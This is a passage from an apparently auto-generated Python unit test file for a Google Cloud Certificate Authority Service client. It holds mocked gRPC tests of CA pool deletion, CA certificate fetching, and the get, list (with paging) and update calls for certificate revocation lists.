service.DeleteCaPoolRequest() request.name = "name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.delete_ca_pool), "__call__") as call: call.return_value = operations_pb2.Operation(name="operations/op") client.delete_ca_pool(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "name=name/value",) in kw["metadata"] @pytest.mark.asyncio async def test_delete_ca_pool_field_headers_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.DeleteCaPoolRequest() request.name = "name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.delete_ca_pool), "__call__") as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/op") ) await client.delete_ca_pool(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "name=name/value",) in kw["metadata"] def test_delete_ca_pool_flattened(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.delete_ca_pool), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/op") # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.delete_ca_pool(name="name_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] arg = args[0].name mock_val = "name_value" assert arg == mock_val def test_delete_ca_pool_flattened_error(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.delete_ca_pool( service.DeleteCaPoolRequest(), name="name_value", ) @pytest.mark.asyncio async def test_delete_ca_pool_flattened_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.delete_ca_pool), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/op") call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/spam") ) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.delete_ca_pool(name="name_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] arg = args[0].name mock_val = "name_value" assert arg == mock_val @pytest.mark.asyncio async def test_delete_ca_pool_flattened_error_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.delete_ca_pool( service.DeleteCaPoolRequest(), name="name_value", ) @pytest.mark.parametrize("request_type", [service.FetchCaCertsRequest, dict,]) def test_fetch_ca_certs(request_type, transport: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.fetch_ca_certs), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = service.FetchCaCertsResponse() response = client.fetch_ca_certs(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == service.FetchCaCertsRequest() # Establish that the response is the type that we expect. assert isinstance(response, service.FetchCaCertsResponse) def test_fetch_ca_certs_empty_call(): # This test is a coverage failsafe to make sure that totally empty calls, # i.e. request == None and no flattened fields passed, work. client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport="grpc", ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.fetch_ca_certs), "__call__") as call: client.fetch_ca_certs() call.assert_called() _, args, _ = call.mock_calls[0] assert args[0] == service.FetchCaCertsRequest() @pytest.mark.asyncio async def test_fetch_ca_certs_async( transport: str = "grpc_asyncio", request_type=service.FetchCaCertsRequest ): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.fetch_ca_certs), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( service.FetchCaCertsResponse() ) response = await client.fetch_ca_certs(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == service.FetchCaCertsRequest() # Establish that the response is the type that we expect. assert isinstance(response, service.FetchCaCertsResponse) @pytest.mark.asyncio async def test_fetch_ca_certs_async_from_dict(): await test_fetch_ca_certs_async(request_type=dict) def test_fetch_ca_certs_field_headers(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.FetchCaCertsRequest() request.ca_pool = "ca_pool/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.fetch_ca_certs), "__call__") as call: call.return_value = service.FetchCaCertsResponse() client.fetch_ca_certs(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "ca_pool=ca_pool/value",) in kw["metadata"] @pytest.mark.asyncio async def test_fetch_ca_certs_field_headers_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.FetchCaCertsRequest() request.ca_pool = "ca_pool/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.fetch_ca_certs), "__call__") as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( service.FetchCaCertsResponse() ) await client.fetch_ca_certs(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "ca_pool=ca_pool/value",) in kw["metadata"] def test_fetch_ca_certs_flattened(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.fetch_ca_certs), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = service.FetchCaCertsResponse() # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.fetch_ca_certs(ca_pool="ca_pool_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] arg = args[0].ca_pool mock_val = "ca_pool_value" assert arg == mock_val def test_fetch_ca_certs_flattened_error(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.fetch_ca_certs( service.FetchCaCertsRequest(), ca_pool="ca_pool_value", ) @pytest.mark.asyncio async def test_fetch_ca_certs_flattened_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.fetch_ca_certs), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = service.FetchCaCertsResponse() call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( service.FetchCaCertsResponse() ) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.fetch_ca_certs(ca_pool="ca_pool_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] arg = args[0].ca_pool mock_val = "ca_pool_value" assert arg == mock_val @pytest.mark.asyncio async def test_fetch_ca_certs_flattened_error_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.fetch_ca_certs( service.FetchCaCertsRequest(), ca_pool="ca_pool_value", ) @pytest.mark.parametrize( "request_type", [service.GetCertificateRevocationListRequest, dict,] ) def test_get_certificate_revocation_list(request_type, transport: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.get_certificate_revocation_list), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = resources.CertificateRevocationList( name="name_value", sequence_number=1601, pem_crl="pem_crl_value", access_url="access_url_value", state=resources.CertificateRevocationList.State.ACTIVE, revision_id="revision_id_value", ) response = client.get_certificate_revocation_list(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == service.GetCertificateRevocationListRequest() # Establish that the response is the type that we expect. assert isinstance(response, resources.CertificateRevocationList) assert response.name == "name_value" assert response.sequence_number == 1601 assert response.pem_crl == "pem_crl_value" assert response.access_url == "access_url_value" assert response.state == resources.CertificateRevocationList.State.ACTIVE assert response.revision_id == "revision_id_value" def test_get_certificate_revocation_list_empty_call(): # This test is a coverage failsafe to make sure that totally empty calls, # i.e. request == None and no flattened fields passed, work. client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport="grpc", ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.get_certificate_revocation_list), "__call__" ) as call: client.get_certificate_revocation_list() call.assert_called() _, args, _ = call.mock_calls[0] assert args[0] == service.GetCertificateRevocationListRequest() @pytest.mark.asyncio async def test_get_certificate_revocation_list_async( transport: str = "grpc_asyncio", request_type=service.GetCertificateRevocationListRequest, ): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.get_certificate_revocation_list), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( resources.CertificateRevocationList( name="name_value", sequence_number=1601, pem_crl="pem_crl_value", access_url="access_url_value", state=resources.CertificateRevocationList.State.ACTIVE, revision_id="revision_id_value", ) ) response = await client.get_certificate_revocation_list(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == service.GetCertificateRevocationListRequest() # Establish that the response is the type that we expect. assert isinstance(response, resources.CertificateRevocationList) assert response.name == "name_value" assert response.sequence_number == 1601 assert response.pem_crl == "pem_crl_value" assert response.access_url == "access_url_value" assert response.state == resources.CertificateRevocationList.State.ACTIVE assert response.revision_id == "revision_id_value" @pytest.mark.asyncio async def test_get_certificate_revocation_list_async_from_dict(): await test_get_certificate_revocation_list_async(request_type=dict) def test_get_certificate_revocation_list_field_headers(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.GetCertificateRevocationListRequest() request.name = "name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.get_certificate_revocation_list), "__call__" ) as call: call.return_value = resources.CertificateRevocationList() client.get_certificate_revocation_list(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "name=name/value",) in kw["metadata"] @pytest.mark.asyncio async def test_get_certificate_revocation_list_field_headers_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.GetCertificateRevocationListRequest() request.name = "name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.get_certificate_revocation_list), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( resources.CertificateRevocationList() ) await client.get_certificate_revocation_list(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "name=name/value",) in kw["metadata"] def test_get_certificate_revocation_list_flattened(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.get_certificate_revocation_list), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = resources.CertificateRevocationList() # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.get_certificate_revocation_list(name="name_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] arg = args[0].name mock_val = "name_value" assert arg == mock_val def test_get_certificate_revocation_list_flattened_error(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.get_certificate_revocation_list( service.GetCertificateRevocationListRequest(), name="name_value", ) @pytest.mark.asyncio async def test_get_certificate_revocation_list_flattened_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.get_certificate_revocation_list), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = resources.CertificateRevocationList() call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( resources.CertificateRevocationList() ) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.get_certificate_revocation_list(name="name_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] arg = args[0].name mock_val = "name_value" assert arg == mock_val @pytest.mark.asyncio async def test_get_certificate_revocation_list_flattened_error_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.get_certificate_revocation_list( service.GetCertificateRevocationListRequest(), name="name_value", ) @pytest.mark.parametrize( "request_type", [service.ListCertificateRevocationListsRequest, dict,] ) def test_list_certificate_revocation_lists(request_type, transport: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificate_revocation_lists), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = service.ListCertificateRevocationListsResponse( next_page_token="next_page_token_value", unreachable=["unreachable_value"], ) response = client.list_certificate_revocation_lists(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == service.ListCertificateRevocationListsRequest() # Establish that the response is the type that we expect. assert isinstance(response, pagers.ListCertificateRevocationListsPager) assert response.next_page_token == "next_page_token_value" assert response.unreachable == ["unreachable_value"] def test_list_certificate_revocation_lists_empty_call(): # This test is a coverage failsafe to make sure that totally empty calls, # i.e. request == None and no flattened fields passed, work. client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport="grpc", ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificate_revocation_lists), "__call__" ) as call: client.list_certificate_revocation_lists() call.assert_called() _, args, _ = call.mock_calls[0] assert args[0] == service.ListCertificateRevocationListsRequest() @pytest.mark.asyncio async def test_list_certificate_revocation_lists_async( transport: str = "grpc_asyncio", request_type=service.ListCertificateRevocationListsRequest, ): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificate_revocation_lists), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( service.ListCertificateRevocationListsResponse( next_page_token="next_page_token_value", unreachable=["unreachable_value"], ) ) response = await client.list_certificate_revocation_lists(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == service.ListCertificateRevocationListsRequest() # Establish that the response is the type that we expect. assert isinstance(response, pagers.ListCertificateRevocationListsAsyncPager) assert response.next_page_token == "next_page_token_value" assert response.unreachable == ["unreachable_value"] @pytest.mark.asyncio async def test_list_certificate_revocation_lists_async_from_dict(): await test_list_certificate_revocation_lists_async(request_type=dict) def test_list_certificate_revocation_lists_field_headers(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.ListCertificateRevocationListsRequest() request.parent = "parent/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificate_revocation_lists), "__call__" ) as call: call.return_value = service.ListCertificateRevocationListsResponse() client.list_certificate_revocation_lists(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"] @pytest.mark.asyncio async def test_list_certificate_revocation_lists_field_headers_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.ListCertificateRevocationListsRequest() request.parent = "parent/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificate_revocation_lists), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( service.ListCertificateRevocationListsResponse() ) await client.list_certificate_revocation_lists(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"] def test_list_certificate_revocation_lists_flattened(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificate_revocation_lists), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = service.ListCertificateRevocationListsResponse() # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.list_certificate_revocation_lists(parent="parent_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] arg = args[0].parent mock_val = "parent_value" assert arg == mock_val def test_list_certificate_revocation_lists_flattened_error(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.list_certificate_revocation_lists( service.ListCertificateRevocationListsRequest(), parent="parent_value", ) @pytest.mark.asyncio async def test_list_certificate_revocation_lists_flattened_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificate_revocation_lists), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = service.ListCertificateRevocationListsResponse() call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( service.ListCertificateRevocationListsResponse() ) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.list_certificate_revocation_lists( parent="parent_value", ) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] arg = args[0].parent mock_val = "parent_value" assert arg == mock_val @pytest.mark.asyncio async def test_list_certificate_revocation_lists_flattened_error_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.list_certificate_revocation_lists( service.ListCertificateRevocationListsRequest(), parent="parent_value", ) def test_list_certificate_revocation_lists_pager(transport_name: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials, transport=transport_name, ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificate_revocation_lists), "__call__" ) as call: # Set the response to a series of pages. call.side_effect = ( service.ListCertificateRevocationListsResponse( certificate_revocation_lists=[ resources.CertificateRevocationList(), resources.CertificateRevocationList(), resources.CertificateRevocationList(), ], next_page_token="abc", ), service.ListCertificateRevocationListsResponse( certificate_revocation_lists=[], next_page_token="def", ), service.ListCertificateRevocationListsResponse( certificate_revocation_lists=[resources.CertificateRevocationList(),], next_page_token="ghi", ), service.ListCertificateRevocationListsResponse( certificate_revocation_lists=[ resources.CertificateRevocationList(), resources.CertificateRevocationList(), ], ), RuntimeError, ) metadata = () metadata = tuple(metadata) + ( gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)), ) pager = client.list_certificate_revocation_lists(request={}) assert pager._metadata == metadata results = [i for i in pager] assert len(results) == 6 assert all(isinstance(i, resources.CertificateRevocationList) for i in results) def test_list_certificate_revocation_lists_pages(transport_name: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials, transport=transport_name, ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificate_revocation_lists), "__call__" ) as call: # Set the response to a series of pages. call.side_effect = ( service.ListCertificateRevocationListsResponse( certificate_revocation_lists=[ resources.CertificateRevocationList(), resources.CertificateRevocationList(), resources.CertificateRevocationList(), ], next_page_token="abc", ), service.ListCertificateRevocationListsResponse( certificate_revocation_lists=[], next_page_token="def", ), service.ListCertificateRevocationListsResponse( certificate_revocation_lists=[resources.CertificateRevocationList(),], next_page_token="ghi", ), service.ListCertificateRevocationListsResponse( certificate_revocation_lists=[ resources.CertificateRevocationList(), resources.CertificateRevocationList(), ], ), RuntimeError, ) pages = list(client.list_certificate_revocation_lists(request={}).pages) for page_, token in zip(pages, ["abc", "def", "ghi", ""]): assert page_.raw_page.next_page_token == token @pytest.mark.asyncio async def test_list_certificate_revocation_lists_async_pager(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials, ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificate_revocation_lists), "__call__", new_callable=mock.AsyncMock, ) as call: # Set the response to a series of pages. call.side_effect = ( service.ListCertificateRevocationListsResponse( certificate_revocation_lists=[ resources.CertificateRevocationList(), resources.CertificateRevocationList(), resources.CertificateRevocationList(), ], next_page_token="abc", ), service.ListCertificateRevocationListsResponse( certificate_revocation_lists=[], next_page_token="def", ), service.ListCertificateRevocationListsResponse( certificate_revocation_lists=[resources.CertificateRevocationList(),], next_page_token="ghi", ), service.ListCertificateRevocationListsResponse( certificate_revocation_lists=[ resources.CertificateRevocationList(), resources.CertificateRevocationList(), ], ), RuntimeError, ) async_pager = await client.list_certificate_revocation_lists(request={},) assert async_pager.next_page_token == "abc" responses = [] async for response in async_pager: responses.append(response) assert len(responses) == 6 assert all( isinstance(i, resources.CertificateRevocationList) for i in responses ) @pytest.mark.asyncio async def test_list_certificate_revocation_lists_async_pages(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials, ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificate_revocation_lists), "__call__", new_callable=mock.AsyncMock, ) as call: # Set the response to a series of pages. call.side_effect = ( service.ListCertificateRevocationListsResponse( certificate_revocation_lists=[ resources.CertificateRevocationList(), resources.CertificateRevocationList(), resources.CertificateRevocationList(), ], next_page_token="abc", ), service.ListCertificateRevocationListsResponse( certificate_revocation_lists=[], next_page_token="def", ), service.ListCertificateRevocationListsResponse( certificate_revocation_lists=[resources.CertificateRevocationList(),], next_page_token="ghi", ), service.ListCertificateRevocationListsResponse( certificate_revocation_lists=[ resources.CertificateRevocationList(), resources.CertificateRevocationList(), ], ), RuntimeError, ) pages = [] async for page_ in ( await client.list_certificate_revocation_lists(request={}) ).pages: pages.append(page_) for page_, token in zip(pages, ["abc", "def", "ghi", ""]): assert page_.raw_page.next_page_token == token @pytest.mark.parametrize( "request_type", [service.UpdateCertificateRevocationListRequest, dict,] ) def test_update_certificate_revocation_list(request_type, transport: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.update_certificate_revocation_list), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/spam") response = client.update_certificate_revocation_list(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == service.UpdateCertificateRevocationListRequest() # Establish that the response is the type that we expect. assert isinstance(response, future.Future) def test_update_certificate_revocation_list_empty_call(): # This test is a coverage failsafe to make sure that totally empty calls, # i.e. request == None and no flattened fields passed, work. client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport="grpc", ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.update_certificate_revocation_list), "__call__" ) as call: client.update_certificate_revocation_list() call.assert_called() _, args, _ = call.mock_calls[0] assert args[0] == service.UpdateCertificateRevocationListRequest() @pytest.mark.asyncio async def test_update_certificate_revocation_list_async( transport: str = "grpc_asyncio", request_type=service.UpdateCertificateRevocationListRequest, ): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.update_certificate_revocation_list), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/spam") ) response = await client.update_certificate_revocation_list(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == service.UpdateCertificateRevocationListRequest() # Establish that the response is the type that we expect. assert isinstance(response, future.Future) @pytest.mark.asyncio async def test_update_certificate_revocation_list_async_from_dict(): await test_update_certificate_revocation_list_async(request_type=dict) def test_update_certificate_revocation_list_field_headers(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.UpdateCertificateRevocationListRequest() request.certificate_revocation_list.name = "certificate_revocation_list.name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.update_certificate_revocation_list), "__call__" ) as call: call.return_value = operations_pb2.Operation(name="operations/op") client.update_certificate_revocation_list(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ( "x-goog-request-params", "certificate_revocation_list.name=certificate_revocation_list.name/value", ) in kw["metadata"] @pytest.mark.asyncio async def test_update_certificate_revocation_list_field_headers_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.UpdateCertificateRevocationListRequest() request.certificate_revocation_list.name = "certificate_revocation_list.name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.update_certificate_revocation_list), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/op") ) await client.update_certificate_revocation_list(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ( "x-goog-request-params", "certificate_revocation_list.name=certificate_revocation_list.name/value", ) in kw["metadata"] def test_update_certificate_revocation_list_flattened(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.update_certificate_revocation_list), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/op") # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.update_certificate_revocation_list( certificate_revocation_list=resources.CertificateRevocationList( name="name_value" ), update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]), ) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] arg = args[0].certificate_revocation_list mock_val = resources.CertificateRevocationList(name="name_value") assert arg == mock_val arg = args[0].update_mask mock_val = field_mask_pb2.FieldMask(paths=["paths_value"]) assert arg == mock_val def 